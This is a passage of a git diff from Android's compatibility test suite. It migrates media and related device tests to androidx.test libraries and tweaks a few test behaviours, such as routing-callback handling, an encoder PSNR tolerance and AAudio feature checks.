-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.atomic.AtomicInteger;
import java.util.stream.Collectors;
import java.util.stream.Stream;
-import junit.framework.AssertionFailedError;
/**
* Tests for the MediaPlayer2 API and local video/audio playback.
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
index c88f34d..08ba09d 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
@@ -15,53 +15,15 @@
*/
package android.media.cts;
-import android.media.cts.R;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-import android.graphics.Rect;
-import android.hardware.Camera;
-import android.media.AudioManager;
-import android.media.MediaCodec;
-import android.media.MediaDataSource;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaMetadataRetriever;
import android.media.MediaPlayer;
-import android.media.MediaPlayer.OnErrorListener;
-import android.media.MediaRecorder;
-import android.media.MediaTimestamp;
-import android.media.PlaybackParams;
-import android.media.SubtitleData;
-import android.media.SyncParams;
-import android.media.TimedText;
-import android.media.audiofx.AudioEffect;
-import android.media.audiofx.Visualizer;
import android.net.Uri;
import android.os.Environment;
-import android.os.IBinder;
-import android.os.PowerManager;
-import android.os.ServiceManager;
-import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
-import android.util.Log;
-import com.android.compatibility.common.util.MediaUtils;
+import androidx.test.filters.SmallTest;
-import java.io.BufferedReader;
import java.io.File;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.util.List;
-import java.util.StringTokenizer;
-import java.util.UUID;
-import java.util.Vector;
-import java.util.concurrent.CountDownLatch;
-
-import junit.framework.AssertionFailedError;
/**
* Tests for the MediaPlayer API and local video/audio playback.
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java
index d6f6236..e01e2c1 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java
@@ -18,10 +18,11 @@
import android.os.Bundle;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
import android.test.ActivityInstrumentationTestCase2;
+import androidx.test.filters.SmallTest;
+
/**
*/
@SmallTest
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index 91bc3ee..342cba7 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -16,21 +16,17 @@
package android.media.cts;
import android.app.ActivityManager;
-import android.media.cts.R;
-
import android.content.Context;
import android.content.pm.PackageManager;
import android.content.res.AssetFileDescriptor;
import android.graphics.Rect;
import android.hardware.Camera;
import android.media.AudioManager;
-import android.media.MediaCodec;
+import android.media.CamcorderProfile;
import android.media.MediaDataSource;
-import android.media.MediaExtractor;
import android.media.MediaFormat;
import android.media.MediaMetadataRetriever;
import android.media.MediaPlayer;
-import android.media.MediaPlayer.OnErrorListener;
import android.media.MediaPlayer.OnSeekCompleteListener;
import android.media.MediaPlayer.OnTimedTextListener;
import android.media.MediaRecorder;
@@ -41,27 +37,29 @@
import android.media.TimedText;
import android.media.audiofx.AudioEffect;
import android.media.audiofx.Visualizer;
+import android.media.cts.R;
import android.media.cts.TestUtils.Monitor;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
-import android.os.IBinder;
import android.os.PowerManager;
-import android.os.ServiceManager;
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+
import com.android.compatibility.common.util.MediaUtils;
+import junit.framework.AssertionFailedError;
+
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
-import java.util.LinkedList;
+import java.util.ArrayList;
import java.util.List;
import java.util.StringTokenizer;
import java.util.UUID;
@@ -73,7 +71,6 @@
import java.util.concurrent.atomic.AtomicInteger;
import java.util.stream.Collectors;
import java.util.stream.Stream;
-import junit.framework.AssertionFailedError;
/**
* Tests for the MediaPlayer API and local video/audio playback.
@@ -1029,7 +1026,14 @@
// getSupportedVideoSizes returns null when separate video/preview size
// is not supported.
if (videoSizes == null) {
- videoSizes = parameters.getSupportedPreviewSizes();
+ // If we have CamcorderProfile use it instead of Preview size.
+ if (CamcorderProfile.hasProfile(0, CamcorderProfile.QUALITY_LOW)) {
+ CamcorderProfile profile = CamcorderProfile.get(0, CamcorderProfile.QUALITY_LOW);
+ videoSizes = new ArrayList();
+ videoSizes.add(mCamera.new Size(profile.videoFrameWidth, profile.videoFrameHeight));
+ } else {
+ videoSizes = parameters.getSupportedPreviewSizes();
+ }
}
for (Camera.Size size : videoSizes)
{
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index f1ad46c..6c712ee 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -15,6 +15,8 @@
*/
package android.media.cts;
+import static android.media.MediaCodecInfo.CodecProfileLevel.*;
+
import android.content.pm.PackageManager;
import android.graphics.Canvas;
import android.graphics.Color;
@@ -22,19 +24,17 @@
import android.hardware.Camera;
import android.media.CamcorderProfile;
import android.media.EncoderCapabilities;
+import android.media.EncoderCapabilities.VideoEncoderCap;
import android.media.MediaCodec;
import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaCodecList;
import android.media.MediaExtractor;
import android.media.MediaFormat;
import android.media.MediaMetadataRetriever;
import android.media.MediaRecorder;
-import android.media.EncoderCapabilities.VideoEncoderCap;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
import android.media.MediaRecorder.OnErrorListener;
import android.media.MediaRecorder.OnInfoListener;
-import android.media.MediaMetadataRetriever;
import android.media.MicrophoneInfo;
import android.opengl.GLES20;
import android.os.ConditionVariable;
@@ -42,13 +42,13 @@
import android.os.ParcelFileDescriptor;
import android.os.PersistableBundle;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
import android.test.ActivityInstrumentationTestCase2;
import android.test.UiThreadTest;
+import android.util.Log;
import android.view.Surface;
-import android.util.Log;
+import androidx.test.filters.SmallTest;
import com.android.compatibility.common.util.MediaUtils;
@@ -57,7 +57,6 @@
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.RandomAccessFile;
-import java.lang.InterruptedException;
import java.lang.Runnable;
import java.util.ArrayList;
import java.util.List;
@@ -65,8 +64,6 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
-import static android.media.MediaCodecInfo.CodecProfileLevel.*;
-
@SmallTest
@RequiresDevice
@AppModeFull(reason = "TODO: evaluate and port to instant")
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 16034e4..89b56e8 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -16,8 +16,6 @@
package android.media.cts;
-import android.media.cts.R;
-
import android.content.ComponentName;
import android.content.ContentResolver;
import android.content.ContentUris;
@@ -30,19 +28,21 @@
import android.media.MediaMetadataRetriever;
import android.media.MediaScannerConnection;
import android.media.MediaScannerConnection.MediaScannerConnectionClient;
+import android.media.cts.R;
import android.mtp.MtpConstants;
import android.net.Uri;
-import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
-import android.platform.test.annotations.RequiresDevice;
import android.os.Bundle;
import android.os.Environment;
import android.os.IBinder;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
import android.provider.MediaStore;
import android.test.AndroidTestCase;
import android.util.Log;
+import androidx.test.filters.SmallTest;
+
import com.android.compatibility.common.util.FileCopyHelper;
import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
index 0f2c56b..99dc720 100644
--- a/tests/tests/media/src/android/media/cts/MediaSession2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -39,19 +39,20 @@
import android.media.MediaPlaylistAgent;
import android.media.MediaSession2;
import android.media.MediaSession2.Builder;
-import android.media.SessionCommand2;
import android.media.MediaSession2.CommandButton;
-import android.media.SessionCommandGroup2;
import android.media.MediaSession2.ControllerInfo;
import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
import android.media.VolumeProvider2;
import android.os.Bundle;
import android.os.Process;
import android.os.ResultReceiver;
import android.platform.test.annotations.AppModeFull;
+
import androidx.annotation.NonNull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import junit.framework.Assert;
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
index 828c659..047f2cd 100644
--- a/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
@@ -24,17 +24,18 @@
import android.media.MediaController2.ControllerCallback;
import android.media.MediaItem2;
import android.media.MediaMetadata2;
-import android.media.SessionCommand2;
import android.media.MediaSession2.CommandButton;
+import android.media.SessionCommand2;
import android.media.SessionCommandGroup2;
import android.media.SessionToken2;
import android.os.Bundle;
import android.os.HandlerThread;
import android.os.ResultReceiver;
+
import androidx.annotation.CallSuper;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
+import androidx.test.InstrumentationRegistry;
import org.junit.AfterClass;
import org.junit.BeforeClass;
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
index 6b08fb3..91dc369 100644
--- a/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
@@ -16,28 +16,28 @@
package android.media.cts;
-import static android.media.SessionCommand2.COMMAND_CODE_SESSION_FAST_FORWARD;
+import static android.media.MediaSession2.ControllerInfo;
import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE;
import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY;
-import static android.media.SessionCommand2.COMMAND_CODE_SESSION_REWIND;
import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_SEEK_TO;
-import static android.media.SessionCommand2.COMMAND_CODE_SET_VOLUME;
-import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM;
-import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM;
import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_STOP;
import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_ADD_ITEM;
import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REMOVE_ITEM;
import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REPLACE_ITEM;
import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST;
import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST_METADATA;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM;
import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_FAST_FORWARD;
import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID;
import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_SEARCH;
import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_URI;
import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID;
import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH;
import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_URI;
-import static android.media.MediaSession2.ControllerInfo;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_REWIND;
+import static android.media.SessionCommand2.COMMAND_CODE_SET_VOLUME;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
@@ -56,8 +56,9 @@
import android.os.Bundle;
import android.os.Process;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
index 1a3cb7c..8fad77a 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
@@ -34,8 +34,9 @@
import android.media.session.MediaSessionManager;
import android.media.session.MediaSessionManager.OnSessionTokensChangedListener;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
diff --git a/tests/tests/media/src/android/media/cts/ResourceManagerTest.java b/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
index dfe63a9..115701b 100644
--- a/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
@@ -19,9 +19,10 @@
import android.os.Bundle;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.RequiresDevice;
-import android.support.test.filters.SmallTest;
import android.test.ActivityInstrumentationTestCase2;
+import androidx.test.filters.SmallTest;
+
@SmallTest
@RequiresDevice
@AppModeFull(reason = "TODO: evaluate and port to instant")
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index 28d9564..f2e078a 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -71,9 +71,12 @@
private static final Set<Integer> AVAILABLE_INPUT_DEVICES_TYPE = new HashSet<>(
Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
+ private boolean mRoutingChanged;
private AudioManager mAudioManager;
private CountDownLatch mRoutingChangedLatch;
private File mOutFile;
+ private Looper mRoutingChangedLooper;
+ private Object mRoutingChangedLock = new Object();
@Override
protected void setUp() throws Exception {
@@ -556,6 +559,10 @@
if (mRoutingChangedLatch != null) {
mRoutingChangedLatch.countDown();
}
+ synchronized (mRoutingChangedLock) {
+ mRoutingChanged = true;
+ mRoutingChangedLock.notify();
+ }
}
}
@@ -563,7 +570,7 @@
final int resid = R.raw.testmp3_2;
MediaPlayer mediaPlayer = MediaPlayer.create(mContext, resid);
mediaPlayer.setAudioAttributes(
- new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA).build());
+ new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA).build());
mediaPlayer.start();
return mediaPlayer;
}
@@ -653,54 +660,68 @@
}
}
- public void test_MediaPlayer_RoutingChangedCallback() {
+ public void test_MediaPlayer_RoutingChangedCallback() throws Exception {
if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
// Can't do it so skip this test
return;
}
- MediaPlayer mediaPlayer = allocMediaPlayer();
- AudioRoutingListener listener = new AudioRoutingListener();
- mediaPlayer.addOnRoutingChangedListener(listener, null);
-
- AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
- if (deviceList.length < 2) {
- // The available output device is less than 2, we can't switch output device.
+ AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+ if (devices.length < 2) {
+ // In this case, we cannot switch output device, that may cause the test fail.
return;
}
- Set<Integer> testedDeviceTypes = new HashSet<>();
- for (AudioDeviceInfo device : deviceList) {
- final int deviceType = device.getType();
- if (testedDeviceTypes.contains(deviceType)) {
- // b/122478352 setPreferredDevice can not differentiate devices with same type.
- continue;
- }
- testedDeviceTypes.add(deviceType);
- assertTrue(mediaPlayer.setPreferredDevice(device));
- boolean routingChanged = false;
- for (int i = 0; i < MAX_WAITING_ROUTING_CHANGED_COUNT; i++) {
- // Create a new CountDownLatch in case it is triggered by previous routing change.
- mRoutingChangedLatch = new CountDownLatch(1);
- try {
- mRoutingChangedLatch.await(WAIT_ROUTING_CHANGE_TIME_MS, TimeUnit.MILLISECONDS);
- } catch (InterruptedException e) {
- }
- AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
- if (routedDevice == null) {
- continue;
- }
- if (routedDevice.getId() == device.getId()) {
- routingChanged = true;
- break;
- }
- }
- assertTrue("Switching to device " + device.getType() + " failed",
- routingChanged);
- }
- mediaPlayer.removeOnRoutingChangedListener(listener);
- mediaPlayer.stop();
- mediaPlayer.release();
+ mRoutingChanged = false;
+ mRoutingChangedLooper = null;
+ // Create MediaPlayer in another thread to make sure there is a looper active for events.
+ Thread t = new Thread() {
+ @Override
+ public void run() {
+ Looper.prepare();
+ // Keep looper to terminate when the test is finished.
+ mRoutingChangedLooper = Looper.myLooper();
+ AudioRoutingListener listener = new AudioRoutingListener();
+ MediaPlayer mediaPlayer = allocMediaPlayer();
+ mediaPlayer.addOnRoutingChangedListener(listener, null);
+ // With setting preferred device, the output device may switch.
+ // Post the request delayed to ensure the message queue is running
+ // so that the routing changed event can be handled correctly.
+ Handler handler = new Handler();
+ handler.postDelayed(new Runnable() {
+ @Override
+ public void run() {
+ AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
+ if (routedDevice == null) {
+ return;
+ }
+ AudioDeviceInfo[] devices = mAudioManager.getDevices(
+ AudioManager.GET_DEVICES_OUTPUTS);
+ for (AudioDeviceInfo device : devices) {
+ if (routedDevice.getId() != device.getId()) {
+ mediaPlayer.setPreferredDevice(device);
+ break;
+ }
+ }
+ }
+ }, 1000);
+ Looper.loop();
+ mediaPlayer.removeOnRoutingChangedListener(listener);
+ mediaPlayer.stop();
+ mediaPlayer.release();
+ }
+ };
+ t.start();
+ synchronized (mRoutingChangedLock) {
+ mRoutingChangedLock.wait(WAIT_ROUTING_CHANGE_TIME_MS
+ * MAX_WAITING_ROUTING_CHANGED_COUNT);
+ }
+ if (mRoutingChangedLooper != null) {
+ mRoutingChangedLooper.quitSafely();
+ mRoutingChangedLooper = null;
+ }
+ t.join();
+ assertTrue("Routing changed callback has not been called", mRoutingChanged);
}
public void test_mediaPlayer_incallMusicRoutingPermissions() {
diff --git a/tests/tests/media/src/android/media/cts/SessionToken2Test.java b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
index 33f416d..a930698 100644
--- a/tests/tests/media/src/android/media/cts/SessionToken2Test.java
+++ b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
@@ -22,9 +22,10 @@
import android.media.SessionToken2;
import android.os.Process;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Ignore;
diff --git a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
index 98196c8..fac659d 100644
--- a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
+++ b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
@@ -18,8 +18,6 @@
import static org.testng.Assert.assertThrows;
-import android.media.cts.R;
-
import android.app.ActivityManager;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -29,15 +27,16 @@
import android.media.AudioTrack;
import android.media.MediaPlayer;
import android.media.VolumeShaper;
+import android.media.cts.R;
import android.os.Parcel;
import android.os.PowerManager;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
import android.util.Log;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+
import com.android.compatibility.common.util.CtsAndroidTestCase;
import java.lang.AutoCloseable;
diff --git a/tests/tests/media/src/android/media/cts/VpxEncoderTest.java b/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
index 38a8403..6ef2a65 100644
--- a/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
@@ -67,7 +67,7 @@
// Maximum allowed average PSNR difference of the encoder running in a looper thread with 0 ms
// buffer dequeue timeout comparing to the encoder running in a callee's thread with 100 ms
// buffer dequeue timeout.
- private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 0.5;
+ private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 1.5;
// Maximum allowed minimum PSNR difference of the encoder running in a looper thread
// comparing to the encoder running in a callee's thread.
private static final double MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE = 2;
diff --git a/tests/tests/mediastress/Android.mk b/tests/tests/mediastress/Android.mk
index 633708f..a1f24eb 100644
--- a/tests/tests/mediastress/Android.mk
+++ b/tests/tests/mediastress/Android.mk
@@ -26,7 +26,7 @@
# Include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/mediastress/AndroidManifest.xml b/tests/tests/mediastress/AndroidManifest.xml
index e4ab36c..aae1abd 100644
--- a/tests/tests/mediastress/AndroidManifest.xml
+++ b/tests/tests/mediastress/AndroidManifest.xml
@@ -39,7 +39,7 @@
<activity android:name="android.mediastress.cts.NativeMediaActivity"
android:label="NativeMedia" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.mediastress.cts"
android:label="Media stress tests InstrumentationRunner" >
<meta-data android:name="listener"
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/WorkDir.java b/tests/tests/mediastress/src/android/mediastress/cts/WorkDir.java
index 2af3c6b..f7d0349 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/WorkDir.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/WorkDir.java
@@ -18,12 +18,13 @@
import android.os.Bundle;
import android.os.Environment;
-import android.support.test.InstrumentationRegistry;
-import java.io.File;
+import androidx.test.InstrumentationRegistry;
import junit.framework.Assert;
+import java.io.File;
+
public class WorkDir {
private static final String MEDIA_PATH_INSTR_ARG_KEY = "media-path";
diff --git a/tests/tests/midi/Android.mk b/tests/tests/midi/Android.mk
index 212c8ac..21cda85 100755
--- a/tests/tests/midi/Android.mk
+++ b/tests/tests/midi/Android.mk
@@ -25,7 +25,7 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/midi/AndroidManifest.xml b/tests/tests/midi/AndroidManifest.xml
index 971f4fb..f9db178 100755
--- a/tests/tests/midi/AndroidManifest.xml
+++ b/tests/tests/midi/AndroidManifest.xml
@@ -37,7 +37,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS MIDI tests"
android:targetPackage="android.midi.cts" >
<meta-data
diff --git a/tests/tests/multiuser/Android.mk b/tests/tests/multiuser/Android.mk
index 45a1003..dfbdf1d 100644
--- a/tests/tests/multiuser/Android.mk
+++ b/tests/tests/multiuser/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsMultiUserTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/multiuser/AndroidManifest.xml b/tests/tests/multiuser/AndroidManifest.xml
index cacadfb..fc6f3d9 100644
--- a/tests/tests/multiuser/AndroidManifest.xml
+++ b/tests/tests/multiuser/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.multiuser.cts"
android:label="Multiuser tests"/>
</manifest>
\ No newline at end of file
diff --git a/tests/tests/nativehardware/Android.mk b/tests/tests/nativehardware/Android.mk
index 7824123..ce658d3 100644
--- a/tests/tests/nativehardware/Android.mk
+++ b/tests/tests/nativehardware/Android.mk
@@ -28,7 +28,7 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES := platform-test-annotations android.test.base.stubs
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner nativetesthelper
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt nativetesthelper
LOCAL_JNI_SHARED_LIBRARIES := libahardwarebuffertest
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/nativehardware/AndroidManifest.xml b/tests/tests/nativehardware/AndroidManifest.xml
index f453fa8..866e30a 100644
--- a/tests/tests/nativehardware/AndroidManifest.xml
+++ b/tests/tests/nativehardware/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.hardware.nativehardware.cts"
android:label="CTS native hardware tests">
<meta-data android:name="listener"
diff --git a/tests/tests/nativemedia/aaudio/Android.mk b/tests/tests/nativemedia/aaudio/Android.mk
index 2017eba..b470ff6 100644
--- a/tests/tests/nativemedia/aaudio/Android.mk
+++ b/tests/tests/nativemedia/aaudio/Android.mk
@@ -27,7 +27,7 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner nativetesthelper
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt nativetesthelper
LOCAL_JNI_SHARED_LIBRARIES := libnativeaaudiotest
diff --git a/tests/tests/nativemedia/aaudio/AndroidManifest.xml b/tests/tests/nativemedia/aaudio/AndroidManifest.xml
index 97bf5f9..d8c422a 100644
--- a/tests/tests/nativemedia/aaudio/AndroidManifest.xml
+++ b/tests/tests/nativemedia/aaudio/AndroidManifest.xml
@@ -24,7 +24,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.nativemedia.aaudio"
android:label="CTS tests of native AAudio API">
</instrumentation>
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
index 141b867..3703a39 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
@@ -62,11 +62,12 @@
};
void AAudioInputStreamTest::SetUp() {
+ mSetupSuccesful = false;
+ if (!deviceSupportsFeature(FEATURE_RECORDING)) return;
mHelper.reset(new InputStreamBuilderHelper(
std::get<PARAM_SHARING_MODE>(GetParam()),
std::get<PARAM_PERF_MODE>(GetParam())));
mHelper->initBuilder();
- mSetupSuccesful = false;
mHelper->createAndVerifyStream(&mSetupSuccesful);
if (!mSetupSuccesful) return;
@@ -172,12 +173,13 @@
};
void AAudioOutputStreamTest::SetUp() {
+ mSetupSuccesful = false;
+ if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
mHelper.reset(new OutputStreamBuilderHelper(
std::get<PARAM_SHARING_MODE>(GetParam()),
std::get<PARAM_PERF_MODE>(GetParam())));
